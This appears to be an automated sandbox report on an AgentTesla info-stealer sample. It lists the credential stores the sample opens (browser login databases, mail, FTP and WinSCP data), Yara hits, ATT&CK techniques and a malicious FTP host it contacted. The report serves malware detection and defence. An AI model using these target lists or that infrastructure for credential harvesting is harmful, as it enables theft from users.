Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Users\user\Desktop\hesaphareketi-.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 2.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3b6d660.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.38c34e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4189629111.0000000002BB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4189629111.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 6832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 3496, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\hesaphareketi-.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\hesaphareketi-.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\hesaphareketi-.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 2.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3b6d660.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.38c34e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4189629111.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 6832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 3496, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 2.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3b6d660.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.38c34e0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4189629111.0000000002BB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4189629111.0000000002B91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 6832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: hesaphareketi-.exe PID: 3496, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	31 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	1 Credentials in Registry	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Software Packing	NTDS	111 Security Software Discovery	Distributed Component Object Model	31 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	1 Clipboard Data	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
hesaphareketi-.exe	47%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
hesaphareketi-.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://api.ipify.org/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
https://account.dyn.com/	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
https://api.ipify.org/t	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
https://api.ipify.org	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://ftp.normagroup.com.tr	100%	Avira URL Cloud	malware
https://github.com/romenrg/genetic-startups	0%	Avira URL Cloud	safe
http://tempuri.org/DataSet1.xsd#tableLayoutPanel1	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	104.26.12.205	true	false		unknown
ftp.normagroup.com.tr	104.247.165.99	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ftp.normagroup.com.tr	hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002E48000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002DED000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002BCF000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002EC3000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002BB9000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.apache.org/licenses/LICENSE-2.0	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.dyn.com/	hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/romenrg/genetic-startups	hesaphareketi-.exe	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org/t	hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002B41000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ipify.org	hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003879000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000000.00000002.1763207948.0000000003AE6000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002B41000.00000004.00000800.00020000.00000000.sdmp, hesaphareketi-.exe, 00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.jiyu-kobo.co.jp/	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	hesaphareketi-.exe, 00000002.00000002.4189629111.0000000002B41000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	hesaphareketi-.exe, 00000000.00000002.1765665168.0000000005880000.00000004.00000020.00020000.00000000.sdmp, hesaphareketi-.exe, 00000000.00000002.1765691420.0000000006952000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/DataSet1.xsd#tableLayoutPanel1	hesaphareketi-.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.12.205	api.ipify.org	United States		13335	CLOUDFLARENETUS	false
104.247.165.99	ftp.normagroup.com.tr	United States		8100	ASN-QUADRANET-GLOBALUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446733
Start date and time:	2024-05-23 20:25:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	hesaphareketi-.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 90 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: hesaphareketi-.exe

